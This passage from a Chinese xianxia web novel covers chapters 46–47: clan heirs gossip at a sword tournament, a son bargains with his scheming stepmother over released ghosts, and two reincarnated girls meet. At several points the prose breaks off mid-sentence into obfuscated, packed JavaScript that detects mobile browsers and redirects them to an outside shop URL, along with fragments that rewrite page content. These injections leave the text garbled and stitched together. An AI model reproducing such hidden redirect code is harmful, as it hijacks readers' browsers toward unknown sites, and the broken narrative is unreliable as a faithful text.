遗憾的是,五官拆开来看时各个绝色,但被组合到一起时,却怪异地失去了颜色所带来的风流蕴藉之美。神采的缺失就好似女娲造人时忘记点最后一笔,总觉得哪里差一些遗憾。 此刻的他薄唇抿起,嘴角绷紧,是个隐忍不悦的姿态。见眼前二人都不说话,又不得不勉强地露出一点笑。只可惜皮笑肉不笑,像是披着一张美丽僵硬的画皮似的,让原本就不多的神采又少了几分。 “叹只叹天下熙熙,皆为利来。千万年间中州势力变换不休,却唯秦家是尊。他们哪里是光凭一个神族后裔的身份就坐到了仙灵界第一世家的宝座呢?在以金钱和权势收买人心这一点上,是我水家不及这样穷奢极侈的门阀大族了。” “世人大多趋炎附势,也只有你们钟家的两位传人不慕权贵,才愿意与我水泽霄交朋友。” “泽霄哥,你怎么可以这样妄自菲薄呢?” 一听到这话,钟南瑛的神情便很是愤愤不平: “这数百年间,秦家行事越发奢靡,继承人却一代不如一代。那股古板腐朽瞧不起别人的味,还没等靠近都能闻到。” “这一代的继承人秦倚白,更是个从小就体弱多病的病秧子。辗转看了多少医修都不见好,固龄治疗了不止一次也没见治好他的体弱之症。十五岁前连秦家的大门都没迈出过,真是笑死个人了,也不知道拖着一副这样的身体以后怎么当秦氏家主。” “溯荒神君留下的神魔之墟封印破成那个样子,秦家人自诩为神君的主支后裔,居然也没本事去重塑封印。但若非水家先祖心怀天下以己渡人,如今再怎么说也能和他们秦家分庭抗礼,而不是像如今这样……” “钟南瑛!不可妄议!”钟北琛眼见水泽霄绛紫色瞳孔中浅显的笑意慢慢散去,连忙急匆匆地打断了妹妹口无遮拦的发言。 他这个妹妹素来心直口快,想到什么就说什么。说话根本不过脑子,简直是一张嘴就得罪人。 如今,竟然都敢在水家继承人的面前提起水家与秦家的那桩陈年旧事了。 世家继承人之间从来没有那么纯粹的友谊。哪怕彼此是再相熟的朋友,说起话来也得留几分余地才行。 钟南瑛被哥哥打断,猛然间也意识到自己说错了话。吐了吐舌头,讪讪地再次闭上了嘴。 “不过,此次的妄鬼之灾来得也的确蹊跷。本来是片仙灵宝地的试仙峰,怎么会有那么多妄鬼突然从地底下冒出来呢?偏偏还是从秦家的那个方向来的。若是秦家在此处以魔气豢养妄鬼,又想堵住悠悠众口,那可真的是……” 水泽霄见钟南瑛闭口不言,不由得神色一缓,淡淡地将话题重新转回了这次的事件上。 他端起置于古琴边上的茶盏,轻轻啜饮了一口后放下,重新从袖中掏出一支玉笛来。 笛音短促而清脆,落于空中,竟化为一只只有实体的雀鸟来。与林中惊起的鸟群混在一起,一同振翅朝着外界的方向飞去。 “如此大事,总得让天下人都知道一下才好。” 他平静地说道。 钟南瑛看了水泽霄一眼,刚想要开口,却又在钟北琛警告的目光下选择了闭嘴。 她原本想说的是,妖兽食人,仙门、凡人和散修大多厌恶妖兽至极,但中州暗中豢养妖兽的世家并不在少数。 妖兽虽是个需以魔气喂养的极其危险的生物,可一旦驯服成功,便可神不知鬼不觉地成为一件让人防不胜防的武器。 妄鬼再怎么样厉害,也只能算是妖兽的一种。 这个消息就算放出去,估计也不能在世家间动摇太多秦家的地位,还容易激怒其他在暗处偷偷豢养妖兽的世家。 若是被人发现,反倒惹得不痛快。 水泽霄不可能不知道世家豢养妖兽之事,所以此举又是何必呢? 钟家和水家走得近,她与钟北琛是自幼与水泽霄一同长大的青梅竹马。但近些年来,水泽霄的脾气和处事方式越发地古怪了起来。很多时候,她都实在是有些不太能理解他到底在想些什么。 处事越来越摆架子不说,如今倒好,在他面前连话都不能随意说了。 她本身就爱说话,一会不说就浑身难受,凭啥要剥夺她说话的权利。不让她说话,她偏要说。 “我还以为这次来试仙峰能见到天虞。” 钟南瑛选择性无视了钟北琛让她闭嘴的眼神,开口道: “感觉已经好久没见到她出门了。我和北琛这次都参加了剑道大会,她收到了拜贴,也不来看看我们是如何帅气地把对面打得落花流水的吗?” 水天虞是水家大小姐,也是水泽霄的孪生妹妹。 水家每一代都只有一男一女两人,并且那两人只会是一对龙凤双子。一旦这对龙凤双子降生,不管是上一代两人中谁的后裔,另一个人都不会有其他的孩子了。 水天虞生得极美。最开始是被称作中州第一美人,但再到后来,不知怎么地,便演变成了传说中的仙灵界第一美人。 近些年,水天虞更是生得越发美丽。她和水泽霄长得很像,却又十分地不同。如果说水泽霄的面庞是带有瑕疵的,那水天虞便是一件完美到极致的作品。 银发紫瞳,人间绝色。 太过出众的容貌有时也会是负担,走到哪里都容易被人围观。兴许是这个原因,她后面便变得不太爱出门。在家里待的时间久了,脾气也变得刁蛮任性了不少,但却偏偏能和钟南瑛合得来。 钟南瑛想见她,最后只好亲自去水家找过她玩,给她讲讲外面发生的八卦。每次去,水天虞都能东问西问地问很多东西。 钟南瑛不缺朋友,可她似乎是水天虞唯一的朋友。 但去的次数多了,钟北琛便有一些些微的意见。 “你我都是钟家既定的继承人,没事老跑到水家呆着算什么事?就算我们两家走得再近,也得保持一些距离,礼貌的距离你懂不懂?” 钟北琛就是很烦。年纪轻轻,便成了一个又啰嗦又计较的老头子。 钟南瑛在这方面上,总是对自己的哥哥很失望。 钟家与其他世家不同,素来是有两位家主的。一想到之后可能要和他一起共掌钟家几十年甚至数百年,她就觉得无言以对。 她本以为这次可以借剑道大会的机会见到水天虞,还特意提前准备了一肚子的八卦。谁曾想到,不但人没见着,剑道大会也被迫中断了。 她现在怨气很重。如果这些妄鬼坐实了是秦家不小心弄出来的东西,她更是想要杀人。 “……你也知道,以她目前的修炼水平,连虚梦幻境那一关都很难过来。抽中甲等还好说,万一抽中的是个丁等,这不是连试仙峰都到不了吗?” 水泽霄的一双紫眸眯起,紧紧盯着钟南瑛,轻声解释道。 水天虞没有拜过天恩,但她生来天脉境界便只有一境。 这和天脉破碎也几乎没什么区别了。从下界随便揪一个凡人,天脉境界都可能比她高。 千万个的世家子弟里才能出一个倒霉蛋名额,就让她给碰到了。 “天脉境界低也还可以借助外界的法宝啊。璇云仙宗的云弄潮掌门,这次不就是收了一个天脉几乎破碎的凡人弟子进内门了嘛。这么多年过去,你怎么不多劝劝天虞,或是给她想想其他的办法?” 钟南瑛说到此处,便觉得有些愤怒,又有些可惜。 水天虞的美貌仿佛便是用她的运气换的。这么多年过去了,她因天脉境界过低的缘故,是一丁点都没有参与修炼。 就连出个门,都得依靠暗卫的保护才行。 “钟南瑛,闭嘴!” “南瑛,不是我不肯。你去问问天虞,她会跟你说是她自己不愿意修炼的。修行之事太苦,她既然不愿意,我自然不能太勉强她。” 钟北琛和水泽霄同时开口。 钟北琛瞪着钟南瑛的目光简直要杀人。 提到水天虞,水泽霄微微蹙起眉头,面色上逐渐浮现出有些不自然的复杂神色来。他垂下眼眸,似是在掩盖自己的情绪一般,悠悠地叹了一口气: “外面的世界对她来说太危险了。我既是她的兄长,定会是会尽我水家之能,好好地保护她的。你就不用替她担心了。” 一朵太过纤弱美丽的娇花,又怎经得住外界的雨打风吹。 “行,那我不提天虞了便是。” 钟南瑛只觉得气闷不已,不想再与这两人在这件事上多交谈半分。她提着剑向前走了几步,看着比试场内的人群,突然问到: “哥,那这次的剑道大会还要继续吗?我们都眼看着快要夺魁了,偏偏冒出这档子事出来。” “不好说,这件事牵涉到了秦家,就会变得很麻烦。仙盟那边很有可能把剑道大会推迟,或者直接重比。不过算重比,你我二人携手,又有何可畏惧的。你觉得我说的对吧,泽霄兄?” “嗯,没错。”水泽霄淡淡开口:“百年前,钟家现任的两位家主,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612095|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是在你们这般大年纪的时候夺魁的吗?若论在剑道之术的造诣上,钟家排第二,中州就没哪个世家敢排第一。” 钟南瑛听到这话,又重新高兴了起来。 剑道大会十年一度,偏偏上次、上上次和上上上次夺魁的都是仙门的人。 中州的世家势力与仙门关联紧密,但两者暗地里的较量却绝对不少。她已经不敢想象,等她和哥哥共同拿了此次剑道魁首称号回中州,能有多得意、多骄傲。 放眼剩余的对手,没一个能打的。她就看不起仙门弟子那一个个清高的样子,装给谁看? 至于那些参赛的凡人和散修嘛,就更不值得一提了。 夺魁之事已经十拿九稳,她与钟北琛代表的不仅是钟家,还是中州势力新一代的佼佼者们。 这可不得狠狠抽那些觉得世家子弟都是草包之人的脸。 再让他们看看钟家继承人的实力,中州可不止有个秦家。 天虞知道了,也一定很会为她自豪。 她高兴起来便拦不住,可想起水天虞,又觉得有点说不上的可惜,心里闷闷得难过。两种情绪交织之下,她索性一撩裙摆,坐在地上托着腮,百无聊赖地数着演武场底部的人头。 这个丹修是丹鼎宗的第七十八代亲传弟子。炼的丹不错,就是做饭曾毒晕过一山的师弟师妹;这个刀修明明已有道侣,却还要去招惹合欢宗之人。被两边追杀,名声都臭完了;这个人…… 她细数着脑海中的八卦,不亦乐乎。 “喂,你们瞧见没有,那就是我刚刚说的璇云仙宗新收内门弟子,那个叫黎明珠的凡人。听说云弄潮掌门收她做徒弟,是因为她和早逝的云渺渺长得很像。” 她冲着某个方向扬了扬下巴,示意身后的两人看过去。 “别到处传这些流言。说是长得像,但云渺渺都已过世百年多了,我们这新一代里又有谁还知道云渺渺真正长什么样?” 钟北琛敲了敲妹妹的头,非常无奈:“你就稍微安静一会,就不行吗?” 他觉得有些头疼。 钟南瑛这个一说话就停不下来的聒噪毛病再不好好治治,总有一天能惹出什么大祸来。 钟南瑛被敲了头,神情立刻变得愤愤起来: “大家都说,我怎么就说不得。再说了,云弄潮掌门这次就只带了她这一个亲传弟子来,结果前两日便先有事回了璇云仙宗,把这新收的啥也不会的小徒弟自己丢在这里,这不出了事就受伤了?” “受伤了?” “哎,你看不到吗?她保持着那副灰头土脸、我见犹怜的模样,都不知道在那里坐多久了。璇云仙宗的人一个个装清高装得要命,一出了事,为了别人忙前忙后的,怎么也不见人来关心一下黎明珠。” 钟南瑛的语气很是幸灾乐祸。 “快闭嘴吧,璇云仙宗已经是所有仙门里凡人弟子最多的了。你觉得他们都是像你一样,瞧不起黎明珠的凡人出身?” 钟北琛目光凉飕飕地瞟过去。他太了解这个妹妹,她说的话突然变得阴阳怪气,准没憋啥好心思。 “凡人大多资质低劣。像我们如今这样的修行水平,在没有外力资助的情况下,他们再修行一百年也难以达到。不对,他们甚至都有可能活不到百年。” 钟南瑛哼了一声,不悦地说道: “而且,你少拿那些不入流的外门弟子跟我说事。璇云仙宗自诩对凡人最友好,结果内门弟子里的凡人数量,两只手就能数过来,当真是笑死个人。” “你当真是欠——” “站在黎明珠身边那人,不是璇云仙宗的弟子?”许久未说话的水泽霄突然开口,打断了钟家兄妹二人的争执。 “谁啊?”钟南瑛语气中的余怒未消,拧着眉头望去。 少女约莫十五六岁的年纪,身着鹅黄色的窄袖襦裙,她腰间挂着一把碧青水绿的长剑,正站在黎明珠身后和她说些什么。 垂落两侧肩头的辫子编得简单匀称,有风拂过,便与红色的长长发带交缠到一起,倒显得格外生动活泼。 精致骄丽的五官还未彻底长开,却已能窥见几分明艳张扬的绝色来。 不过对钟南瑛来说,那就是一张完全陌生的脸。如果世家或是仙门内有长成这样好看的人,她不会不记得。 “肯定不是啊,我不认识她,估计就是个长得稍微好看点的凡人或者散修。” 像这样身份的人,甚至都不会出现在她的八卦范围中。 她打了个哈欠,懒懒地说道: “年纪和我们差不多,带着剑,却没有参加这次的剑道大会,怕是个连初赛都入围不了的不入流剑修。能有幸来到试仙峰这里,托了不少拐弯抹角的关系吧。我又不是闲得发慌,关注这样的人做什么?” “哦,一个凡人。” 水泽霄笑了笑,没有多说什么。 他凝视那抹鹅黄色的身影,本无甚情绪的紫眸中逐渐泛起玩味的光来。 有趣,实在是太有趣了。 他竟能在一个凡人身上,感知到秦氏神族之血的气息。 而且就是在昨夜沾染上的。 秦倚白什么时候变成了一个那么大方的人?随随便便地就把自己的血给送出去了。 46.交易 “溯荒神君的羽化祭日将至,你父亲和一群族老正在于祠堂中闭关,没空来管你惹出来的这堆烂摊子。你该庆幸来的人是我,不是你父亲,也不是那些族老们,否则你将会是什么下场,不用我多说了吧。” 如葱削般染满蔻丹的指甲缓缓翘起,缓慢抚摸着掌心的夜明珠。姜怀盈斜斜地倚靠在松软的椅背上,轻笑一声,慵懒地看着面前这位与她没有丝毫血缘关系的少年。 虽说遭了妄鬼之灾,但秦家此处的宅邸并未被摧毁完全。至少此处主堂前,尚且还是安全的。 姜怀盈带来几位魂修都已入逍遥阶,处理妄鬼的手段老道毒辣,自也不是普通魂修可以比拟的。 诛杀妄鬼的纯白色法阵已于门前被架起,吸引着源源不断的妄鬼向此处靠近。一道道蜿蜒扭曲的人形,在触碰到法阵的瞬间,一个个发出了如孩童般的凄惨的哭声和尖叫来。 咕噜咕噜含混不清的话语,仿佛在持续地喊着: “救救我,救救我。” 门里的暖香已熏起,沁人心脾的袅袅,与门外妄鬼消失时腥臭的气味截然不同。一门之隔,却恍若两个世界。 “虽也不是不能重新打回地下,但我觉得有些太麻烦了。既然他们都已经是死人了,魂飞魄散,不入轮回,少了些人世间的痛苦,也算好事一桩。你觉得对吗?” 姜怀盈微微转头,随意地打量着面前少年的神情,满头珠玉叮咚作响。 半月未曾相见,这个便宜儿子似乎又长高了些许。往那边一站,那股独属于少年人的风姿便环绕满身。 幸好长得肖母不肖父,生得一副姿容如玉的好相貌,让她看着倒也不觉得那么心烦。 “母亲说的当然对。” 在妄鬼们一声接着一声的凄厉惨叫声中,他面不改色地抬头望向姜怀盈,纤长浓密的黑睫微微垂下,沉静如星的眼眸中慢慢地泛起了欣喜的笑意来: “能得母亲相助,儿子不胜感激。” “只是若儿子说,放出妄鬼这件事是儿子为了您才做的,您可相信?” “为了我?” 姜怀盈嗤笑一声,“我知道你急不可耐地想要取代你父亲的位子,但也不必现在就想以这种方式毁掉秦家,对你我的计划都没有什么好处。” “再说了,这和我有什么关系。妄鬼的出现,难道不是你们秦家历来喜欢残杀手足的传统造成的吗? ” 她话音刚落,便眼见着一颗青灰的人头从秦倚白刚张开的探物法阵中掉出,啪嗒一声滚落在地。 颈部的血迹已经干涸,它在地上翻滚了几圈后,面目狰狞地朝上对着姜怀盈的脸。 格外可怖。 血腥味瞬间涌起,连带着熏香也都不太香了。 姜怀盈皱起眉头,厌恶地掩住了口鼻:“这是何意?” “我已按照母亲的吩咐,去过了第八峰,处理掉了母亲想要掩盖住的那些东西。却偏偏在回到试仙峰时,在这个人身上发现了新的端倪。” “他是谁?” “雁铃城城主郑玄,一个不入流的凡人罢了,想必母亲没有听说过他的大名。但在他前往雁铃城至前,曾在姜家的主家担任过杂役一职。” “但就是在那件事后……” 秦倚白观察着姜怀盈有些震动的神色,微微一笑: “总之,他现在是死在了秦家的地盘上,便会成为妄鬼。妄鬼会机会夺舍别人,记忆也并非不可提取。唯有从榕树中彻底放出来解决掉,让他们灰飞烟灭或是完全封印住,才能守住姜家和母亲当年的……” 前世入魔后的一些记忆他还记得,自然知道姜怀盈的弱点在哪里。 他懒得为自己开脱,也懒得解释妄鬼是从哪里来之事。毕竟无论做何解释,这口锅最后都会扣到他脑袋上。 既然如此,不妨先下手为强。 事情既已发声,便用这个弱点骗上一骗,为自己换一些东西,算不得什么犯规。 “够了!”姜怀盈大声喊道:“你给我闭嘴。” 这让她又想起了那些年少时不悦的记忆。 她就该在这个狼崽子第一次发现这些事情的时候让秦肆杀了他!但若非他提出的条件太过诱人,她也不会与他合作至今。 她身姿向前倾去,紧紧盯着秦倚白的眼眸,问到:“你以为你帮了我,我替你料理完这些个妄鬼后,这事就算完结了吗?” “你自剔剑骨之事,你父亲可一直恼怒到了现在。虽说这次勉强放你来了试仙峰来观战,但你给秦家带来了那么大的损失,他可未必不会处置你。” 她恼怒于秦倚白提起她的秘密,说话的声音也带上了怒气。 秦倚白轻笑一声,毫无惧意:“母亲,这里妄鬼是杀不完的,并且是会从秦家的地底下源源不断地冒出来。你即便带了几个魂修过来,也没有办法完全将此事解决。” “那你想怎么样?” “第八峰内的魂契封印已被我加固。加固好的魂契封印可以无限地延展,试仙峰本身,就是一个最好的封印圣地。” 姜怀盈觉得可笑至极:“封印之事哪有那么简单,谁会来帮你?” 世上怎会有平白无故的善意,就凭外面那些等着来看秦家笑话的人? “为什么要人来帮?”秦倚白云淡风轻地说道。 “剑道大会还未结束,五湖四海的优秀剑修都在试仙峰济济一堂。以秦家和姜家在仙盟如今的地位,改变一下剑道大会的比赛规则,他们又能怎么样呢?” 他说话的声音极轻,带着几分循循善诱的味道。 “对那些人来说,那不叫他们帮我们,是我们对他们的奖赏。等父亲与族老们从祠堂中出来,一切的意外都会被解决掉的。” 既身处高位,便要懂得利用才是。他厌恶他的血脉,但有时,这也会成为他的刀刃。 他被秦家控制着,却也未必不能借着秦家的势去控制他人。 这是他前世便已学会的道理。 “这么说来,你早就把你的退路想好了。” “你想要什么?”姜怀盈冷笑一声,眸光暗沉地打量着眼前的人来:“你与我之间不会有不求回报的交易。你对我说这些,是想我卖你一个人情?” “我要进仙盟,以姜元的身份。” 秦倚白淡淡一笑,盯着姜怀盈缓缓蹙起眉头,在她开口拒绝前,坦然地说道:“这件事确实需要母亲费心费力,但这笔买卖对母亲来说,并不是一件亏本的事情。” “怎么说?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616993|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你拿捏住了我,姜家和秦家以后都会成为您最锋利的刀。父亲不能为您达成的心愿,儿子都可以为您做到。我不止会让姜家成为您的囊中之物,到时候,除了秦家以外的整个中州,都会任您采撷。” 他嘴角微勾,缓缓说道。 这当然是姜怀盈最渴望的东西。 “有趣啊有趣。”姜怀盈突然大笑起来,美艳凌厉到不可方物。 她罗袖轻挥,缓缓站起身来,施施然向前走了几步:“你是不是很想要我夸你啊?这么聪明,又这么厉害,和我提出的条件让我甚至都没有办法拒绝。” “有时候我真的觉得,血缘是一种奇怪的东西。就像你和你的父亲明明长得不一样,性格也不一样,可刻在骨子那种令我讨厌的劲,却简直是一个模子里出来的。” 她陡然用力地捏起少年的脸,眼中浮现出了怨毒与不甘的神情。喃喃吐出的话语阴毒寒凉,似毒蛇嘶嘶吐信。 “你身上果然流着秦家的血。” “母亲过奖了。” 被长指甲掐出的血痕在脸上浮现,秦倚白却并非有任何痛苦的神情,只是笑地说道: “我既是秦家的继承人,身上又何来不流着秦家的血液之说呢?” “呵。” 姜怀盈冷笑一声,甩开了他的脸:“那便按你说的那样做吧。只是我还有一件事想要问你。” “母亲尽管问,我知无不言。” “我听说你在虚梦幻境中误用灵气,被一个厉害的剑修小姑娘给救了。后来去第八峰的时候,是另一个剑修小姑娘与你同行。” “这两个剑修准确来说,应该是都是叫赵轻遥吧?” 姜怀盈说出了她今夜来试仙峰的最终目的。 她心情有些急躁,非常迫切地想要确定系统对她说过的事情。毕竟赵轻遥拿出的那种模样的聚灵灯,不是谁都会做的。 若这个叫赵轻遥的凡人当真的是那个贱人的后代,那她的计划便可又进一步了。 那个贱人不但没死,居然还有一个孩子?还给她的孩子做那样的灯? 凭什么,凭什么,凭什么! 姜怀盈一想起此事,情绪便被不甘和愤怒完全掌控,沉浸在了自己的世界中。 她没注意到自己的话中有何纰漏之处。更根本没有注意到,在她提起赵轻遥这个名字时,秦倚白本毫无波澜的双眸中一闪而过的浓烈情绪。 那是阴寒到了极致的杀意。 和化也化不开的癫狂魔气。 “这我就不知道了。”他闭了闭双眼,再次睁眼时,已恢复了往日里平静的模样:“萍水相逢罢了,都不是很熟,不能确定是否为一个人。” 姜怀盈怎么会知道他在第八峰和谁在一起的事情? 第八峰里该处理的东西不都杀完了吗? 除非…… 他蓦然想起了那个被他吞噬掉的血雾。 “不能确定,你便去给我查清楚了。”姜怀盈不悦地皱起了眉头,冷冷地说道:“你总不至于这点小事都做不好吧?” 怎么刚刚说得条条是道,提起这件事就是什么不确定不知道? “当然。”秦倚白平静一笑:“我会给你一个满意的答案的,母亲。” 47.明珠(二) 黎欢感觉自己像是在做梦。 她换了身干净的衣裳,面色惨白地在比试场的角落处选了一块僻静之处坐着。即便没有过多的活动,她的双手和嘴唇还是颤抖个不停。 有耳鸣声响起,周围的喧嚣之声变得很远。她缓缓屈起膝盖,将头埋进了冰冷的衣物中。 即便已有心理准备,但她依据系统的指定偷偷放出来的妄鬼所带来的灾祸,还是已经大到了超乎她所有的预期。 弥天大祸,也不过如此。 她心中慌乱,想询问系统改如何是好。可系统在她违背自己的指令后,便陷入了一场诡异的沉默。 红色的雾气似乎缩小了一半,停在她的识海中沉默不语。她试图操控神识去触碰,但那种感觉却并不太妙。 像是在鱼缸中抓一条死去多时的鱼。 湿滑、黏腻、恶心。 总而言之,一动不动。 万华之眼已经彻底用不了了。她的右眼痛得厉害,看见的世界也变成了灰蒙蒙的一片。 这让黎欢觉得十分不安。 掌门新收的小师妹自己躲起来的举动很快被人注意到。几个璇云仙宗的内门弟子陆陆续续地来到了她的身边询问情况,却都被她以自己没事为由支走。 失去万华之眼,她像是一只被摘掉了坚硬外壳的寄居蟹。 虽说重生的时日并不算长,但她早已习惯了通过万华之眼去窥见每一个人的身份、习性和对自己的好感度。只有这样,她才知道自己该用什么样的办法怎么应对每一个不同的人。 向上跃动的的好感度条,每一寸都牵动着她的心。 她知道别人对她的想法,便不会畏惧和害怕。 可如今,黎欢全部都没有了。 重生以来,取代黎明珠是她一直以来的目标。但事实上,她连黎明珠内里究竟是一个什么样的人,都完全不清楚。 黎明珠为什么会被人追杀,她身上的秘密到底还有什么? 黎欢不知道,也弄不清楚。她似乎只是在拙劣地模仿着黎明珠的外在,模仿到如今就黎欢自己是谁,都快要分不清了。 系统如果真的彻彻底底地消失,那她之后要如何活下去。 不知时间过去了多久,黎欢仍保持着一个姿势坐在原地。远处的喧哗声忽大忽小,刺激着她本就脆弱的神经。 直到她听到了有人靠近她的脚步声。 脚步声极轻,却走得异常之慢。似乎是考虑了很久,才来到了她的身边。 “师兄师姐,不用了来管我,真的不用来管我,我自己待一会就好。”她将头埋得更深了一些,嗫嚅着出声。 来人没有说话,黎欢却能感受到那人落在自己身上的目光。那种似是想要将她看穿的、探寻般的疑惑,让她觉得有些不自在。 她紧张地吞咽,悄悄地从膝盖的缝隙间瞄去。 首先映入眼帘的,是一片明亮中透着温柔的鹅黄色。 再然后,便是一把青碧色的长剑。剑身简洁流畅,没有多余的雕饰,却有隐隐跃动的光华流转于其上。 黎欢心中一颤,猛地抬起头,怔怔地看着来人。 是赵轻遥。 少女眉眼骄丽如锋,昨夜还鲜血淋漓的伤口竟已经彻底好全。她长久地凝视着她,微冷的面色上却并没有什么太多的表情,没有出现像其他人那样的同情、怜悯、亦或是担忧。 她只是很平常地说道: “你看上去有点难过。” 黎欢蓦然抓紧了手中的衣袖。 赵轻遥是唯一一个她无法用万华之眼探查的人。她与她的每一句话,都没有借助系统的力量,凭借的都是她自己的本能。 她从前总是害怕与赵轻遥交谈。但在万华之眼消失,她无比恐惧、担忧、甚至无法与其他人正常交谈之时,赵轻遥的出现却成了她的救命稻草。 她就那样望着她,眼泪猝不及防地掉了下来。 * 赵轻遥怎么也没有想到,黎明珠会哭。 她想了解一下系统的另外半边是个什么样的情况,沿着试炼场问了一圈,才打探到黎明珠的藏身之处。 等她好不容易找到地方,才对着黎明珠问了一句话,那双望向她的盈盈杏眼中便突然蓄满了泪水,接连不断沿着清丽可怜的面庞滑落。 一副梨花带雨、我见犹怜的娇弱模样,倒显得赵轻遥像是在莫名其妙地欺负人。 “你——”她不敢置信地向后退了一步,头皮嗡地一下开始发麻:“你哭什么?我、我什么也没对你做啊?” 回应她的只有小声的、接连不断的啜泣声。 赵轻遥手足无措。 她一没动手二没说什么难听的话,怎么黎明珠就哭了呢? 她素来都是在和坚硬的东西打交道。锋利的剑刃和痛苦的仇恨已成为她生命中的一部分,她早已习惯了被坚硬裹挟着前行的滋味,也习惯以坚硬姿态对面对他人。 但眼泪是偏偏柔软的。 她本来没啥表情的脸瞬间垮了下来,愁眉苦脸地盯着泪流不止的黎明珠。 她前世的这个时候独来独往惯了,没有什么特别要好的手帕交,对手倒是结了一箩筐。 后来遇见云渺渺。云渺渺哪怕已是个魂体状态,却仍爱说爱笑。直到与她彻底告别之时,才第一次在她面前落下了两滴虚无的泪。 再然后,她学着去做讨人喜欢的黎明珠,步步为营、小心谨慎,却也始终没遇到过一个不太熟的人突然在她面前哭成这个样子的情况。 总而言之,她是真的不太擅长安慰人。 尤其是面对这个不知是敌是友的、顶着和她前世黎明珠时期一模一样面庞的冒牌货。 赵轻遥头疼不已。 但她总不能让黎明珠继续哭下去,倒显得是她做了什么罪大恶极的事情一样。 她长叹一口气,盯着自己才换上干净衣裙沉默了几秒,认命般地将衣袖探到了黎明珠面前,不忍直视地侧过了脸去:“擦吧。” 就当是报黎明珠帮她处理伤口的恩了。 时间漫长之感,在这一刻体现的尤为明显。陌生的温热水泽透过衣物,将湿漉漉的温度传递到了她的手臂上。 黎明珠用的都不止是衣袖了,她近乎是死死抱着赵轻遥的手臂压在自己的双眼之上。良久,才缓慢停止了哭泣。 “谢谢。”她眼睛发红得厉害,小声地说道。 赵轻遥有些不自在地想抽回衣袖。但连拽了两下,都没把手臂拽回来。 黎明珠扑闪那双蕴满水汽的杏眼,悲伤而渴望地看着她,像是又要掉出泪来。 抱着她的手臂也抱得格外紧。攀爬的力气之大,不禁让赵轻遥有那么一瞬间怀疑黎明珠其实根本不是人,而是随便逮着一个架子就开始往上爬的藤蔓精。 不幸的是,她就是那个路过的架子。 赵轻遥放弃了抵抗。抿了抿嘴,欲言又止。 她现在非常希望黎明珠能突然蹦起来掏出一个法宝和她对打,亦或是像秦倚白那样突然开始说一些奇怪的疯癫之语。 这样,她就有可以和黎明珠吵起来、或是和黎明珠打一架,以充足的理由结束现在这种奇怪的氛围。 但这些都没有发生。 黎明珠又开始无声地落泪。 两人陷入了近乎诡异的沉默。 “你往里面坐点,给我让个位子出来,我也想坐在这里。”隔了许久,赵轻遥才硬着头皮开口。 她是来打探消息的,总不能空手而归吧。 尴尬就尴尬点吧。 黎明珠听到这话,表情有些惊讶。 她顺从地向里动了动,让了一个空位出来。赵轻遥撩起裙摆坐下,将逢春抱在怀中,也像黎明珠那样屈起了双膝。 清晨的天还是蒙蒙的阴灰色。偶尔有风将浓云吹散一些,透出些许金灿灿的阳光来。照在她们身上,又很快消失。 虽然只是短短的一瞬,但两人的影子似乎在那一瞬有所重叠。 好像是不同时空的同一个人。 又是一段静默无声后,她听到黎明珠小声地开口问道:“轻遥姐姐,你和师兄很早就认识了吗?” 赵轻遥心中一凛,扭头去看黎明珠,眸色微微转动起来。 黎明珠问她的这话似乎有点别的含义。 “黎明珠的愿望啊,就是让秦家的那位少主喜欢上她。”系统曾经对她说过的话,再次浮现在了耳边。 黎明珠要喜欢秦倚白就喜欢去,关她什么事? 秦倚白自己惹的情债不解决,反而给她树敌。 这凭什么? 黎明珠对着她探究般的目光刺得瑟缩了一下,却还是颤颤巍巍地与她直视,似是下定了什么决心一般,抖着嗓音说了下去: “其实昨天晚上,我在找到你之前,先遇到了师兄。” “师兄的样子很奇怪,和他平时一点都不一样,还一直在找你。因为我身上有你给我的传送符的气息,他便以为是我把你带去了什么危险地方,险些对我出手。” “我逃出来之后,就想到要去找你。我想,师兄他既然需要你,就一定有他的理由。如果是你的话,说不定能让他平静下来。” “我没别的意思,只是好奇……” “你喜欢他?”赵轻遥突然打断了黎明珠的叙述,微微冷下声来:“觉得我有可能挡你的路?” 她在猜黎明珠的真实身份到底是谁。 黎明珠今世的身份和前世的身份不一样,唯一可确定的便是她前世也是璇云仙宗的弟子。既有前世记忆,便是知道秦倚白最终会在失去所有闪闪发光的身份后,坠入魔道。 但即便已经知道未来,这一世却还是要坚持选择秦倚白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“况且,在我的印象里,他现在貌似没进入璇云仙宗正式修行,只是在云掌门的名下挂了个弟子的名罢了。你都喜欢些他什么?” 若是外门弟子,就总得需要知道些别的信息才是。 黎明珠依旧低着头绞着衣袖,目光有些闪躲。 “我……”她犹豫地说道:“我也不知道。” 为什么不知道,这是一个什么很难回答的问题吗? 赵轻遥微微蹙起眉头,不太能理解。 世上不会有无缘无故的爱憎。在她的理解里,喜欢这件事一旦发生了,便一定要是有原因的。 就像她上辈子曾喜欢洛明川那样。她现在回想起来,虽然很嫌弃自己当时的眼光,但也不得不承认,豆蔻年华、未经世事的自己喜欢上洛明川是很一件顺理成章的事情。 她喜欢洛明川那个时候的潇洒温柔,更喜欢洛明川对她的细致入微。喜欢他给她带的糖人折的花,弹的古琴画的画。 